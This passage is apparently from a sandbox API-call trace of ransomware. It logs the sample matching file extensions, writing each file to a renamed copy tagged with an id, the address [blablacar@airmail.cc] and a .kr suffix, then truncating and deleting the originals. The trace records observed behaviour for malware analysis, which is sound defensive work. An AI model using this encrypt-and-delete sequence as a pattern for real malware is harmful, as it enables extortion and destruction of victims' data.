(lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.557] lstrlenW (lpString=".dbf") returned 4 [0079.557] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0079.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.557] lstrlenW (lpString=".1cd") returned 4 [0079.557] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0079.557] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0079.557] lstrlenW (lpString=".jpg") returned 4 [0079.557] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0079.557] Sleep (dwMilliseconds=0x64) [0081.420] Sleep (dwMilliseconds=0x64) [0082.195] Sleep (dwMilliseconds=0x64) [0083.890] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0083.890] lstrlenW (lpString="LocalizedData.xml") returned 17 [0083.890] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.928] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=82962) returned 1 [0083.928] CloseHandle (hObject=0x31c) returned 1 [0083.929] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0083.929] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.929] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.929] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.929] GetLastError () returned 0x0 [0083.929] ReadFile (in: hFile=0x31c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x14412, lpOverlapped=0x0) returned 1 [0083.937] WriteFile (in: hFile=0x320, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x14420, lpOverlapped=0x0) returned 1 [0083.940] ReadFile (in: hFile=0x31c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.940] WriteFile (in: hFile=0x320, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf6, lpOverlapped=0x0) returned 1 [0083.940] SetEndOfFile (hFile=0x320) returned 1 [0083.940] CloseHandle (hObject=0x320) returned 1 [0083.944] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.944] SetEndOfFile (hFile=0x31c) returned 1 [0083.945] CloseHandle (hObject=0x31c) returned 1 [0083.946] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0083.946] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0083.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.946] lstrlenW (lpString=".doc") returned 4 [0083.946] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.946] lstrlenW (lpString=".docx") returned 5 [0083.946] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0083.947] lstrlenW (lpString=".pdf") returned 4 [0083.947] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString=".xls") returned 4 [0083.947] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString=".xlsx") returned 5 [0083.947] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0083.947] lstrlenW (lpString=".ppt") returned 4 [0083.947] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString=".zip") returned 4 [0083.947] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.947] lstrlenW (lpString=".rar") returned 4 [0083.947] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString=".bz2") returned 4 [0083.947] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString=".7z") returned 3 [0083.947] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString=".dbf") returned 4 [0083.947] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString=".1cd") returned 4 [0083.947] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString=".jpg") returned 4 [0083.947] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.947] lstrlenW (lpString=".doc") returned 4 [0083.947] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.947] lstrlenW (lpString=".docx") returned 5 [0083.947] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0083.948] lstrlenW (lpString=".pdf") returned 4 [0083.948] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString=".xls") returned 4 [0083.948] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString=".xlsx") returned 5 [0083.948] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0083.948] lstrlenW (lpString=".ppt") returned 4 [0083.948] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.948] lstrlenW (lpString=".zip") returned 4 [0083.948] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.948] lstrlenW (lpString=".rar") returned 4 [0083.948] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString=".bz2") returned 4 [0083.948] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString=".7z") returned 3 [0083.948] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.948] lstrlenW (lpString=".dbf") returned 4 [0083.948] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.948] lstrlenW (lpString=".1cd") returned 4 [0083.948] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0083.948] lstrlenW (lpString=".jpg") returned 4 [0083.948] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.948] Sleep (dwMilliseconds=0x64) [0084.397] Sleep (dwMilliseconds=0x64) [0084.923] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0084.923] lstrlenW (lpString="eula.rtf") returned 8 [0084.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0084.924] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3546) returned 1 [0084.924] CloseHandle (hObject=0x2f0) returned 1 [0084.924] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0084.924] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0084.925] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.925] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0084.927] GetLastError () returned 0x0 [0084.927] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xdda, lpOverlapped=0x0) returned 1 [0084.928] WriteFile (in: hFile=0x334, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xde0, lpOverlapped=0x0) returned 1 [0084.930] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.930] WriteFile (in: hFile=0x334, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe4, lpOverlapped=0x0) returned 1 [0084.930] SetEndOfFile (hFile=0x334) returned 1 [0084.930] CloseHandle (hObject=0x334) returned 1 [0084.931] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.931] SetEndOfFile (hFile=0x2f0) returned 1 [0084.932] CloseHandle (hObject=0x2f0) returned 1 [0084.932] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.933] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1 [0084.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.933] lstrlenW (lpString=".doc") returned 4 [0084.933] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.933] lstrlenW (lpString=".docx") returned 5 [0084.933] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.933] lstrlenW (lpString=".pdf") returned 4 [0084.933] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.933] lstrlenW (lpString=".xls") returned 4 [0084.933] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.933] lstrlenW (lpString=".xlsx") returned 5 [0084.933] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.933] lstrlenW (lpString=".ppt") returned 4 [0084.933] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.933] lstrlenW (lpString=".zip") returned 4 [0084.933] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.933] lstrlenW (lpString=".rar") returned 4 [0084.933] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString=".bz2") returned 4 [0084.934] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString=".7z") returned 3 [0084.934] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString=".dbf") returned 4 [0084.934] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString=".1cd") returned 4 [0084.934] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString=".jpg") returned 4 [0084.934] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString=".doc") returned 4 [0084.934] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString=".docx") returned 5 [0084.934] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.934] lstrlenW (lpString=".pdf") returned 4 [0084.934] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString=".xls") returned 4 [0084.934] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.934] lstrlenW (lpString=".xlsx") returned 5 [0084.934] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.934] lstrlenW (lpString=".ppt") returned 4 [0084.934] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.934] lstrlenW (lpString=".zip") returned 4 [0084.935] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.935] lstrlenW (lpString=".rar") returned 4 [0084.935] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.935] lstrlenW (lpString=".bz2") returned 4 [0084.935] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.935] lstrlenW (lpString=".7z") returned 3 [0084.935] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.935] lstrlenW (lpString=".dbf") returned 4 [0084.935] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.935] lstrlenW (lpString=".1cd") returned 4 [0084.935] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35 [0084.935] lstrlenW (lpString=".jpg") returned 4 [0084.935] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.935] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0084.935] lstrlenW (lpString="LocalizedData.xml") returned 17 [0084.935] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0084.936] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=79634) returned 1 [0084.936] CloseHandle (hObject=0x2f0) returned 1 [0084.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0084.936] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0084.936] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.936] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0084.947] GetLastError () returned 0x0 [0084.947] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x13712, lpOverlapped=0x0) returned 1 [0084.950] WriteFile (in: hFile=0x334, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13720, lpOverlapped=0x0) returned 1 [0084.953] ReadFile (in: hFile=0x2f0, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.953] WriteFile (in: hFile=0x334, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf6, lpOverlapped=0x0) returned 1 [0084.954] SetEndOfFile (hFile=0x334) returned 1 [0084.954] CloseHandle (hObject=0x334) returned 1 [0084.956] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.956] SetEndOfFile (hFile=0x2f0) returned 1 [0085.533] CloseHandle (hObject=0x2f0) returned 1 [0085.533] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.534] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0085.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.534] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.534] lstrlenW (lpString=".doc") returned 4 [0085.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.534] lstrlenW (lpString=".docx") returned 5 [0085.534] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.534] lstrlenW (lpString=".pdf") returned 4 [0085.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.534] lstrlenW (lpString=".xls") returned 4 [0085.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.534] lstrlenW (lpString=".xlsx") returned 5 [0085.534] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.535] lstrlenW (lpString=".ppt") returned 4 [0085.535] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.535] lstrlenW (lpString=".zip") returned 4 [0085.535] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.535] lstrlenW (lpString=".rar") returned 4 [0085.535] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.535] lstrlenW (lpString=".bz2") returned 4 [0085.535] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.535] lstrlenW (lpString=".7z") returned 3 [0085.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.535] lstrlenW (lpString=".dbf") returned 4 [0085.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.535] lstrlenW (lpString=".1cd") returned 4 [0085.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.536] lstrlenW (lpString=".jpg") returned 4 [0085.536] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.536] lstrlenW (lpString=".doc") returned 4 [0085.536] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString=".docx") returned 5 [0085.536] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.536] lstrlenW (lpString=".pdf") returned 4 [0085.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString=".xls") returned 4 [0085.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString=".xlsx") returned 5 [0085.536] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.536] lstrlenW (lpString=".ppt") returned 4 [0085.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.536] lstrlenW (lpString=".zip") returned 4 [0085.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.536] lstrlenW (lpString=".rar") returned 4 [0085.536] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.536] lstrlenW (lpString=".bz2") returned 4 [0085.536] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.537] lstrlenW (lpString=".7z") returned 3 [0085.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.537] lstrlenW (lpString=".dbf") returned 4 [0085.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.537] lstrlenW (lpString=".1cd") returned 4 [0085.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0085.537] lstrlenW (lpString=".jpg") returned 4 [0085.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.537] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.537] lstrlenW (lpString="eula.rtf") returned 8 [0085.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0085.538] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3683) returned 1 [0085.538] CloseHandle (hObject=0x2f0) returned 1 [0085.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0085.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0085.538] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.538] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.538] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 